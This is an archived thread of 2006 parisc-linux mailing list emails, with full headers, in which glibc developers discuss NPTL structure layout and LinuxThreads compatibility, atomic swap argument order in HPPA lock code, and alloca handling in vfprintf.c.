X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:07 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 00:19:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 18 Jul 2006 02:19:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 025897D6D4;
	Mon, 17 Jul 2006 18:19:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27677-02; Mon, 17 Jul 2006 18:19:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9F8B7D6C5;
	Mon, 17 Jul 2006 18:19:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BF677D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 18:19:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27205-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 18:19:39 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 0C4AA7D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 18:19:39 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1G2dIt-0000fp-OA; Tue, 18 Jul 2006 08:19:11 +0800
User-Agent: Thunderbird 1.5.0.2 (X11/20060516)
In-Reply-To: <119aab440607171537p25d0350he9aa937c439c428a@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HR6PcHFqf2I/+IicY2xo2WtwdWxlc1ap
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23807

> A warning that the pthreaddefs.h might be horribly wrong. I remember a
> long while ago adding padding the structures so they matched the size
> of the linuxthread types (atleast the lock position).
> 
> This padding is not correct, we would need to pull into our tree the
> static mutex initializers so they are correctly sized aswell.

fwiw,i don't think we need to worry about making the structs the same as 
linuxthreads (if that is even possible...), after all you cannot run a 
linuxthreads binary against nptl libs or vice versa...

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: A warning about NPTL pthreaddefs.h
Date: Mon, 17 Jul 2006 22:24:28 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <119aab440607171924l1d07d066ged80705ae14ea196@mail.gmail.com>
References: <119aab440607171537p25d0350he9aa937c439c428a@mail.gmail.com>
	<44BC2900.4030303@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624127 20168 80.91.229.3 (22 Nov 2014 02:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:07 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 02:24:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 18 Jul 2006 04:24:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AE477D6AD;
	Mon, 17 Jul 2006 20:24:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28138-09; Mon, 17 Jul 2006 20:24:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E4767D6B2;
	Mon, 17 Jul 2006 20:24:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC9BD7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 20:24:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28133-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 20:24:29 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.186])
	by free.linux.hp.com (Postfix) with ESMTP id 7A2B17D699
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 20:24:29 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id q29so19337nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 19:24:28 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=BP7mE7spQH4eLec2sNK76A8m7+LoYDDMu60bOYqkBTMQzb/LIZ38wI7tAbsNJiDa21Z6vlSFUZhdDBYhR7Xbz+EUSYpofAAlwLgLs4g0yzXX5AJbgdifwVGM2lex5X0OvFnggBeXWgXjiNj721oqCGSzrHzDTrA3++7rrTh/UQ0=
Original-Received: by 10.78.158.11 with SMTP id g11mr1226700hue;
	Mon, 17 Jul 2006 19:24:28 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 17 Jul 2006 19:24:28 -0700 (PDT)
In-Reply-To: <44BC2900.4030303@tausq.org>
Content-Disposition: inline
X-Google-Sender-Auth: 82c79aca5255ffd6
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WnCJdUZwbUko7+nGPWgnJPRkZ2hlN8on
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23808

On 7/17/06, Randolph Chung <randolph@tausq.org> wrote:
> > A warning that the pthreaddefs.h might be horribly wrong. I remember a
> > long while ago adding padding the structures so they matched the size
> > of the linuxthread types (atleast the lock position).
> >
> > This padding is not correct, we would need to pull into our tree the
> > static mutex initializers so they are correctly sized aswell.
>
> fwiw,i don't think we need to worry about making the structs the same as
> linuxthreads (if that is even possible...), after all you cannot run a
> linuxthreads binary against nptl libs or vice versa...

Yes, yes you are. Ulrich's first post of NPTL 1.0 says:
---
The thread library is designed to be binary compatible with the old
LinuxThreads implementation.  This compatibility obviously has some
limitations.  In places where the LinuxThreads implementation diverged
from the POSIX standard incompatibilities exist.  Users of the old
library have been warned from day one that this day will come and code
which added work-arounds for the POSIX non-compliance better be
prepared to remove that code.  The visible changes of the library
include:
---

And he goes on to list things which are not compatible.

Wether or not PARISC can do this is another question. It might not be
possible due to our lock[4] and LDCW linuxthreads implementation.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: A warning about NPTL pthreaddefs.h
Date: Mon, 17 Jul 2006 23:01:48 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440607172001k492bb76die4a6302b1e442b7b@mail.gmail.com>
References: <119aab440607171537p25d0350he9aa937c439c428a@mail.gmail.com>
	<44BC2900.4030303@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624127 20171 80.91.229.3 (22 Nov 2014 02:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:07 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 03:01:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 18 Jul 2006 05:01:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DEE27D6C9;
	Mon, 17 Jul 2006 21:01:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28539-07; Mon, 17 Jul 2006 21:01:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 722D27D6CA;
	Mon, 17 Jul 2006 21:01:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BEB27D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:01:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28507-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:01:49 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.191])
	by free.linux.hp.com (Postfix) with ESMTP id 397097D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:01:49 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id q29so25914nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 20:01:48 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=h0jOdA8sCaq2Ahv3IoLDpcFQoB7/oqwxFxTGIW0XulA3TJVCYiZ+8LRDOhflJnl7JkLUO0+TSjrz6lmIxp7vtvYMJzNTAq9plJcaKT59aPXy77fpzAeIIvTPX6dgcOh0R/Leoc3zCj45cuRitEvwKCBahveSOQ/8FE36dSQAegI=
Original-Received: by 10.78.179.12 with SMTP id b12mr1230802huf;
	Mon, 17 Jul 2006 20:01:48 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 17 Jul 2006 20:01:48 -0700 (PDT)
In-Reply-To: <44BC2900.4030303@tausq.org>
Content-Disposition: inline
X-Google-Sender-Auth: 06adcf4170250b40
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SSLeEHE4bXBtrLqHPTQ2eKEqLyUmZQjZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23809

On 7/17/06, Randolph Chung <randolph@tausq.org> wrote:
> > A warning that the pthreaddefs.h might be horribly wrong. I remember a
> > long while ago adding padding the structures so they matched the size
> > of the linuxthread types (atleast the lock position).
> >
> > This padding is not correct, we would need to pull into our tree the
> > static mutex initializers so they are correctly sized aswell.
>
> fwiw,i don't think we need to worry about making the structs the same as
> linuxthreads (if that is even possible...), after all you cannot run a
> linuxthreads binary against nptl libs or vice versa...

Regardless we still bomb out on a lot of the tests :)

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] atomic swap parameters in the wrong order?
Date: Mon, 17 Jul 2006 23:19:39 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <119aab440607172019j19fcad72ve8dac529015c2663@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624128 20175 80.91.229.3 (22 Nov 2014 02:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:08 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 03:19:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 18 Jul 2006 05:19:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AF3B7D6F5;
	Mon, 17 Jul 2006 21:19:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28875-06; Mon, 17 Jul 2006 21:19:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 365827D6E3;
	Mon, 17 Jul 2006 21:19:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA9347D6D8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:19:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28875-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:19:40 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185])
	by free.linux.hp.com (Postfix) with ESMTP id 79AD27D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:19:40 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id m18so30687nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 20:19:39 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=chQ6mtf2g7W8E19Q7skRB/sL1J6pbz8dxgxm2cg4FLhiObgUZm9ifJCsC1Zt7vhfNYn8p69w8laDnlYysMk0XWrIwOHhV4NX3YNlL6yD5ZE2En9pE1el7kdGK/xEiYiH+JR7OppLFX0RJ1SWM9tYt4+dVvzpe/yC8LUkeeXfLhY=
Original-Received: by 10.78.195.9 with SMTP id s9mr1239345huf;
	Mon, 17 Jul 2006 20:19:39 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 17 Jul 2006 20:19:39 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 71aa04d1e93364d1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Y2GOdwUvPTRt7OjGPjIwm6wxc2tpZMu/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23810

randolph,

I think that ports/sysdeps/hppa/nptl/pthread_* implementations have
the atomic swap parameters in the wrong order...

The files have "lock, 0, 1" but it should be "lock, 1, 0" since it's
"addr, newval, oldval".
They are attempts to acquire a lock.

Whaddaya think?

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Looking at vfprintf.c and alloca.
Date: Mon, 17 Jul 2006 23:40:22 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624128 20176 80.91.229.3 (22 Nov 2014 02:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:08 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 "Randolph Chung" <randolph@tausq.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 03:40:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 18 Jul 2006 05:40:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E03267D6EA;
	Mon, 17 Jul 2006 21:40:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29147-05; Mon, 17 Jul 2006 21:40:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D4797D6F6;
	Mon, 17 Jul 2006 21:40:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CBFF7D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:40:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29147-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:40:26 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.190])
	by free.linux.hp.com (Postfix) with ESMTP id BF0947D6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 21:40:25 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id m18so34253nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 20:40:24 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=QxCI0iCqSuo1hk3wBi6DRS75EUBNnFmsqBXQBAchRUnetBdebUHY9bR0gkEqlP5Y+0wnjttkrfgjTqhZrqQ808hWJnKasRE5Z/Vrd/wRtoatEyk0uZasF3PX/9Fn1UrRHVjWrZTFp5ULP2jOXWNAS/aVKpCbg2/CiKP1/jBECR8=
Original-Received: by 10.78.177.11 with SMTP id z11mr1237796hue;
	Mon, 17 Jul 2006 20:40:22 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 17 Jul 2006 20:40:22 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: fc37ac6f4ce078a3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AmqabB6/Li5n8ffRZWtpMMxjZml1ZJgp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23811

I was looking at our tst-printfsz failures in glibc, and I noticed
some very cute code in vfprintf.c. The code uses alloca to create a
specs structure, and then using certain know addresses decides if the
stack grows down or up.

Does this look right? Anyone care to review if this actually works
with a newer GCC on hppa?

   1601     size_t nspecs = 0;
   1602     size_t nspecs_max = 32;     /* A more or less arbitrary
start value.  */
   1603     struct printf_spec *specs
   1604       = alloca (nspecs_max * sizeof (struct printf_spec));

...
   1636     for (f = lead_str_end; *f != L_('\0'); f = specs[nspecs++].next_fmt)
   1637       {
   1638         if (nspecs >= nspecs_max)
   1639           {
   1640             /* Extend the array of format specifiers.  */
   1641             struct printf_spec *old = specs;
   1642
   1643             nspecs_max *= 2;
   1644             specs = alloca (nspecs_max * sizeof (struct printf_spec));
   1645
   1646             if (specs == &old[nspecs])
   1647               /* Stack grows up, OLD was the last thing allocated;
   1648                  extend it.  */
   1649               nspecs_max += nspecs_max / 2;
   1650             else
   1651               {
   1652                 /* Copy the old array's elements to the new space.  */
   1653                 memcpy (specs, old, nspecs * sizeof (struct
printf_spec));
   1654                 if (old == &specs[nspecs])
   1655                   /* Stack grows down, OLD was just below the new
   1656                      SPECS.  We can use that space when the new space
   1657                      runs out.  */
   1658                   nspecs_max += nspecs_max / 2;
   1659               }
   1660           }

I didn't expect alloca's behaviour to be so explicitly defined.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
